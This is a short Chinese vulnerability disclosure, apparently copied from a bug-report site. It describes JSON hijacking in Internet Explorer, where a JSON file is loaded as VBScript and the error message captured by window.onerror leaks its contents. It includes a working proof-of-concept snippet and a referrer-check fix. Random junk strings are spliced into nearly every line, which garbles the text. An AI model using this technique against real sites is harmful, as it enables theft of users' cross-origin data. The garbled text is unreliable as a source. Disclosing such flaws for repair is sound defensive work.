简要描述:1 X2 ^( y9 k! q; X: ~
% g8 g& \# Y1 q* C
由于某些资源容器对数据处理不当导致json劫持漏洞.) }& T' H+ t' S; ]. c5 V
详细说明:
: P9 T! {. }0 o由于ie支持vbscript,所以script元素可以指定成vbscript语言:
% Q" Z, @! A" M3 x1 v6 g8 h/ d6 A<script language=vbscript></script>1 b( F; P6 f, I9 s. R
. {% d. R# k8 Q/ g* P当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.1 m: M$ h2 n( Z$ D5 P( i
漏洞证明:
+ W) V" ]0 _1 n1 B: x4 M<script>4 J- w1 o0 n" I. W3 ^. c% F* S
window.onerror=function(_){
4 d6 v p6 |/ m- c. @! A2 I% ?alert(_)
7 H# n7 L2 y2 t' ^& H0 y}: {- V' ^3 U* z4 d5 i
</script>4 @ {2 v! W" T7 _3 y. Z% s t
<script language=vbscript src=1.json></script>
- J) D/ ?) [3 L6 C6 J1 }4 [( L& J ' q" u1 W* Y, H/ v9 |
+ U" w: ~; W7 L0 s% O
1.json:
% y+ ]7 Q0 N: t. S( _% N: O' i[{"name":"sogili","age":19}]
* @# ^4 Z7 F5 ~$ n! q3 k9 T+ ]( H修复方案:
4 q: N% f9 h m; n4 R网站业务对于这个问题可以通过验证referrer是否为同源来防御 |